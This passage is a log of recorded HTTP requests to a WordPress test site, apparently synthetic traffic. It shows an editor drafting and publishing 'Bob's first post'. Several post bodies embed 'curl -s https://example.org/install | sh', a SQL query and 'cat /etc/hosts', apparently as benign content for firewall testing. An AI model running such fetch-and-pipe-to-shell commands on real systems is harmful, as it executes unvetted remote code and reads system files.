\\\"\\\"
\\n\"}"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=11&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"} +{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203235.2958478927612304687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"status\":\"publish\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\"}"} +{"method": "GET", "target": "/wp-admin/post.php?post=11&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""} +{"method": "GET", "target": "/?p=11", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""} +{"method": "GET", "target": "/2026/11/09/bobs-first-post/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""} +{"method": "GET", "target": "/?p=11&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""} +{"method": "GET", "target": "/wp-admin/revision.php?revision=12", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=12", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": "compare%5B%5D=12%3A11&action=get-revision-diffs&post_id=11"} +{"method": "GET", "target": "/wp-admin/edit.php?post_type=wp_block", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": ""} +{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,wp-theme,wp-components,wp-list-reusable-blocks,common,forms,admin-menu,dashboard,list-tables,edit,revisions,&load%5Bchunk_1%5D=media,themes,about,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 85", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": "interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-wp_block&has_focus=true"} +{"method": "POST", "target": "/wp-admin/options-permalink.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": "_wpnonce=4c458d2a5d&_wp_http_referer=%2Fwp-admin%2Foptions-permalink.php&selection=%2F%25postname%25%2F&permalink_structure=%2F%25postname%25%2F&category_base=&tag_base=&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-permalink.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": ""} +{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203251"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=13&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/posts/13/autosaves?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 968", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"status\":\"draft\",\"title\":\"Bob's first post: a guide\",\"excerpt\":\"a short summary\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\",\"meta\":{\"footnotes\":\"\"}}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"slug\":\"bobs-first-post\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\"}"} +{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-bobs-first-post-2&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=13&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"} +{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203288.2769880294799804687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"status\":\"publish\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\"}"} +{"method": "GET", "target": "/wp-admin/post.php?post=13&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""} +{"method": "GET", "target": "/?p=13", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""} +{"method": "GET", "target": "/bobs-first-post-2/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""} +{"method": "GET", "target": "/?p=13&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""} +{"method": "GET", "target": "/wp-admin/revision.php?revision=14", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=14", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203301"], "body": "compare%5B%5D=14%3A13&action=get-revision-diffs&post_id=13"} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=15&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203303"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=17&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 415", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; 